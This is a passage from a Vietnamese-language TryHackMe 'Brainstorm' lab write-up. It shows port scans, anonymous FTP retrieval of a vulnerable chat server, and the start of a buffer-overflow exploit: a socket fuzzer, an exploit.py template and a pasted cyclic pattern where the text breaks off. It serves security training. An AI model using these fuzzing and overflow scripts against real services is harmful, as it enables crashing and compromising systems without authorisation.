# Hướng dẫn chi tiết bằng tiếng Việt - Tryhackme - Brainstorm

### Mục tiêu cơ bản trong bất kỳ bài tập nào cũng là chiếm quyền quản trị viên tối cao (root).

### Trong bài viết này mình sẽ hướng dẫn mọi người trong việc chiếm quyền quản trị viên thông qua một dịch vụ được cấp trên một cổng của máy nạn nhân trong Room Brainstorm của Tryhackme.

### Để làm được room này, tối thiểu mọi người phải làm được hết 10 Tasks trong Room Buffer Over Flow Prep. Nếu không sẽ rất khó để theo dõi, cũng như hiểu được phương pháp của bài tập này.

## 1. Điều tra cơ bản:

**Mình bắt đầu bài tập với việc quét các cổng bằng nmap:**

```shell
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sS -p- --min-rate 8000 -T4 10.10.190.92                              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 13:52 +07
Nmap scan report for 10.10.190.92
Host is up.
All 65535 scanned ports on 10.10.190.92 are in ignored states.
Not shown: 65535 filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 30.38 seconds

# Note, --minrate 8000 -T4 is not always work

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sN -p- --min-rate 8000 -T4 10.10.190.92
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 13:52 +07
Nmap scan report for 10.10.190.92
Host is up.
All 65535 scanned ports on 10.10.190.92 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 30.04 seconds
                                            
# Note, switch to -T4, target accquired.                                                                                                                
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sS -p- -T4 10.10.190.92 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 13:53 +07
Nmap scan report for 10.10.190.92
Host is up (0.25s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
3389/tcp open  ms-wbt-server
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 607.15 seconds
```

#### Không phải lúc nào câu lệnh `--min-rate 8000` cũng phù hợp để quét cổng, nếu sử dụng `-T4 --min-rate 8000` không cho bạn kết quả bạn cần tìm. Bạn có thể sử dụng câu lệnh `-T4`.

#### Mình cũng đã sử dụng autorecon, một công cụ không thể thiếu trong quá trình pentesting mà được MurilandOracle giới thiệu.

### *Khá là ổn áp.*

```shell
┌──(kali㉿kali)-[~]
└─$ sudo $(which autorecon) -t target      
[*] Scanning target 10.10.190.92
[*] [10.10.190.92/all-tcp-ports] Discovered open port tcp/21 on 10.10.190.92
[*] [10.10.190.92/all-tcp-ports] Discovered open port tcp/3389 on 10.10.190.92
[*] 14:14:29 - There are 3 scans still running against 10.10.190.92
[*] 14:15:30 - There are 3 scans still running against 10.10.190.92
[*] 14:16:31 - There are 3 scans still running against 10.10.190.92
[*] 14:17:32 - There are 3 scans still running against 10.10.190.92
[*] 14:18:34 - There are 3 scans still running against 10.10.190.92
[*] 14:19:35 - There are 3 scans still running against 10.10.190.92
[*] [10.10.190.92/all-tcp-ports] Discovered open port tcp/9999 on 10.10.190.92
[*] 14:20:36 - There are 3 scans still running against 10.10.190.92
[*] 14:21:37 - There are 3 scans still running against 10.10.190.92
[*] 14:22:38 - There are 3 scans still running against 10.10.190.92
[*] 14:23:40 - There are 3 scans still running against 10.10.190.92
[*] 14:24:41 - There are 2 scans still running against 10.10.190.92
[*] 14:25:42 - There are 2 scans still running against 10.10.190.92
[*] 14:26:44 - There are 2 scans still running against 10.10.190.92
[*] 14:27:45 - There are 2 scans still running against 10.10.190.92
[*] 14:28:46 - There are 2 scans still running against 10.10.190.92
[*] 14:29:47 - There are 2 scans still running against 10.10.190.92
[*] 14:30:49 - There are 2 scans still running against 10.10.190.92
[*] 14:31:50 - There is 1 scan still running against 10.10.190.92
[*] 14:32:51 - There is 1 scan still running against 10.10.190.92
[*] 14:33:53 - There is 1 scan still running against 10.10.190.92
[*] 14:34:54 - There is 1 scan still running against 10.10.190.92
[*] 14:35:55 - There is 1 scan still running against 10.10.190.92
[*] 14:36:56 - There is 1 scan still running against 10.10.190.92
[*] 14:37:58 - There is 1 scan still running against 10.10.190.92
[*] 14:38:59 - There is 1 scan still running against 10.10.190.92
[*] 14:40:00 - There is 1 scan still running against 10.10.190.92
[*] 14:41:02 - There is 1 scan still running against 10.10.190.92
[*] 14:42:03 - There is 1 scan still running against 10.10.190.92
[*] 14:43:04 - There is 1 scan still running against 10.10.190.92
[*] 14:44:05 - There is 1 scan still running against 10.10.190.92
[*] Finished scanning target 10.10.190.92 in 30 minutes, 43 seconds
[*] Finished scanning all targets in 30 minutes, 44 seconds!
[*] Don't forget to check out more commands to run manually in the _manual_commands.txt file in each target's scans directory!
[!] AutoRecon identified the following services, but could not match them to any plugins based on the service name. Please report these to Tib3rius: tcp/9999/abyss/insecure
```

#### Mình cũng có điều tra cơ bản các dịch vụ được cung cấp trên các cổng 21, 3389, 9999 nhưng không có gì quá đặc biệt. Mình có định dùng hydra để tấn công dịch vụ

```shell
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV -A -O -p 21,3389,9999 10.10.190.92

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 01:04 +07
Nmap scan report for 10.10.190.92 (10.10.190.92)
Host is up (0.25s latency).

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|_  SYST: Windows_NT
3389/tcp open  tcpwrapped
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2025-06-05T16:48:17
|_Not valid after:  2025-12-05T16:48:17
| rdp-ntlm-info: 
|   Target_Name: BRAINSTORM
|   NetBIOS_Domain_Name: BRAINSTORM
|   NetBIOS_Computer_Name: BRAINSTORM
|   DNS_Domain_Name: brainstorm
|   DNS_Computer_Name: brainstorm
|   Product_Version: 6.1.7601
|_  System_Time: 2025-06-06T18:08:09+00:00
|_ssl-date: 2025-06-06T18:08:40+00:00; 0s from scanner time.
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:
|   NULL: 
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.95%I=7%D=6/7%Time=68432DD7%P=x86_64-pc-linux-gnu%r(NUL
SF:L,52,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\
SF:x20your\x20username\x20\(max\x2020\x20characters\):\x20")%r(GetRequest,
SF:63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x2
SF:0your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20mess
SF:age:\x20")%r(HTTPOptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(b
SF:eta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters
SF:\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome\x20
SF:to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20userna
SF:me\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Ja
SF:vaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20en
SF:ter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x
SF:20message:\x20")%r(GenericLines,63,"Welcome\x20to\x20Brainstorm\x20chat
SF:\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20cha
SF:racters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcome\x2
SF:0to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20usern
SF:ame\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(R
SF:PCCheck,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20
SF:enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a
SF:\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brainsto
SF:rm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2
SF:020\x20characters\):\x20Write\x20a\x20message:\x20")%r(DNSStatusRequest
SF:TCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ente
SF:r\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20
SF:message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta
SF:\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):
SF:\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welcome\x20to\x20B
SF:rainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\
SF:(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(TerminalS
SF:erverCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease
SF:\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\
SF:x20a\x20message:\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1|Phone|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (92%), Microsoft Windows Server 2008 R2 SP1 (88%), Microsoft Windows Server 2008 (87%), Microsoft Windows Server 2008 R2 or Windows 7 SP1 (87%), Microsoft Windows Server 2008 R2 or Windows 8 (87%), Microsoft Windows 7 SP1 (87%), Microsoft Windows 8.1 Update 1 (87%), Microsoft Windows 8.1 R1 (87%), Microsoft Windows Phone 7.5 or 8.0 (87%), Microsoft Windows Vista or Windows 7 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 9999/tcp)
HOP RTT       ADDRESS
1   120.92 ms 10.17.0.1 (10.17.0.1)
2   ... 4
5   259.06 ms 10.10.190.92 (10.10.190.92)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 224.59 seconds
```

#### Mình sử dụng `lftp` để truy cập dịch vụ ở cổng 21 - FTP:

```shell
┌──(kali㉿kali)-[~]
└─$ lftp -u anonymous 10.10.190.92

Password: 
lftp anonymous@10.10.190.92:~> set ftp:ssl-allow no #Vì THM không có SSL để dịch vụ ftp yêu cầu hay đàm phán
lftp anonymous@10.10.190.92:~> set ftp:passive-mode no #Vì nếu chạy trên passive-mode, lỗi sẽ xảy ra khiến cho dịch vụ không chạy được.
lftp anonymous@10.10.190.92:~> ls # Tìm thông tin về chỉ mục được chia sẻ                                                                                            
08-29-19  08:36PM       <DIR>          chatserver                                                                                                       
lftp anonymous@10.10.190.92:/> cd chatserver
lftp anonymous@10.10.190.92:/chatserver> ls                                                                                                            
08-29-19  10:26PM                43747 chatserver.exe                              08-29-19  10:27PM                30761 essfunc.dll                                                                                                       
lftp anonymous@10.10.190.92:/chatserver> mirror . #Tải file chatserver.exe chứa lỗ hổng.
New: 2 files, 0 symlinks 
74508 bytes transferred in 4 seconds (20.0 KiB/s)
To be removed: 48 directories, 107 files, 1 symlink
lftp anonymous@10.10.190.92:/chatserver> exit
```

### Câu lệnh mà mình đã sử dụng trong công cụ `lftp` vừa rồi:

```shell
lftp -u anonymous 10.10.190.92
set ftp:ssl-allow no
set ftp:passive-mode no
ls  
cd chatserver
ls
mirror .
exit
```

#### Sau khi mình tải được file chatserver.exe mình dựng một máy ảo VMWare Windows 7 x86.

### Vì sao mình biết máy nạn nhân đang sử dụng Hệ điều hành Windows 7 x86?

#### 1. Microsoft FTP Service - Dịch vụ FTP Microsoft.

#### 2. `chatserver.exe` và module `essfunc.dll`

#### 3. Không có các phương thức mã hoá hay phòng thủ tại dịch vụ FTP

## **Tại sao việc tìm hiểu hệ điều hành máy nạn nhân quan trọng?**

### Vì đó là mấu chốt trong việc giải bài tập này với những người mới như mình, bản thân mình không sử dụng được `radare`. Thay bằng việc cố gắng hiểu Assembly mình phải "thích nghi" bằng việc dựng một máy Windows 7 tại chỗ và giả lập quá trình tấn công.

## **2. Tấn công phần mềm chatserver.exe**

#### Thời điểm mình viết bài viết này năm 2025, việc dựng một máy ảo Windows 7 khá là khó khăn vì các bản cài phần mềm không còn được hỗ trợ nữa, bạn có thể sử dụng bản cài Windows 7 AIO tại:

#### `https://archive.org/details/Windows7AIOSP1X64X86_iso`

### và cực kỳ cần thiết là bản cài VMWare Tools. Bạn có thể tìm link của phiên bản VMWare Tools tại đây:

#### `https://archive.org/details/vmware-tools-windows-11.0.6-15940789_202211`

#### Sau đó bạn cần cài:

### 2.1 Immunity Debugger: `https://github.com/kbandla/ImmunityDebugger/releases/tag/1.85`

### 2.2 Python 2.7: `https://www.python.org/ftp/python/2.7.18/python-2.7.18.msi`

### 2.3 Mona.py: `https://github.com/corelan/mona` và copy vào thư mục: `C:\Immunity Debugger\PyCommands\`

***

### Sau đó ta bắt đầu các bước tấn công:

## Note: Trước khi bạn đọc phần dưới này, bạn sẽ cảm thấy cực kỳ khó hiểu nếu chưa làm bài tập trong phòng `Buffer Overflow Prep`. Mình khuyên bạn đọc bài viết trước của mình và làm 10 bài tập đó!

Bước 1: Mình có chuẩn bị một số các phần mềm python sau mà bạn có thể sử dụng:

`fuzzer.py`

```python
#!/usr/bin/env python3

import socket, time, sys

ip = "" #THAY IP NÀY THÀNH IP CỦA MÁY WINDOWS 7 GIẢ LẬP

port = 9999
timeout = 5
prefix = "" #THAY CÁI NÀY THEO YÊU CẦU ĐỀ BÀI

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)  
```

`exploit.py`

```python
import socket

ip = "192.168.2.128" #THAY IP NÀY THÀNH IP CỦA MÁY WINDOWS 7 GIẢ LẬP
port = 9999

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
```

`pyarray.py`

```python
for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()
```

Bước 2: Ta chạy sau khi đã dựng xong lab VM Windows 7, ta khởi chạy Immunity Debugger dưới quyền quản trị viên `(Run As Administrator)` và sử dụng câu lệnh `!mona config -set workingfolder c:\mona\%p` để lập chỉ mục lưu dữ liệu trong quá trình debug cũng như tấn công `chatserver.exe`

Bước 3: Chạy `fuzzer.py` để ước lược số lượng byte làm tràn bộ nhớ đệm trên phần mềm `chatserver.exe` (Ta chạy phần mềm này trên máy Kali)

```shell
┌──(kali㉿kali)-[/home/Tryhackme/Brainstorm]
└─$ python3 fuzzer.py    
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
...
...
Fuzzing with 6200 bytes
Fuzzing crashed at 6300 bytes
```

Vậy ta biết được điểm tràn là 6300 bytes. Ta sẽ tạo pattern để xác định `EIP` bằng câu lệnh:

```shell
┌──(kali㉿kali)-[/home/Tryhackme/Brainstorm]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 6700 > pattern.txt #Luỹ tiến 400 của 6300 là 6700.
```

Ta thay toàn bộ pattern đó vào phần payload của `exploit.py`

```python
import socket

ip = "192.168.2.128" #THAY IP NÀY THÀNH IP CỦA MÁY WINDOWS 7 GIẢ LẬP
port = 9999

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2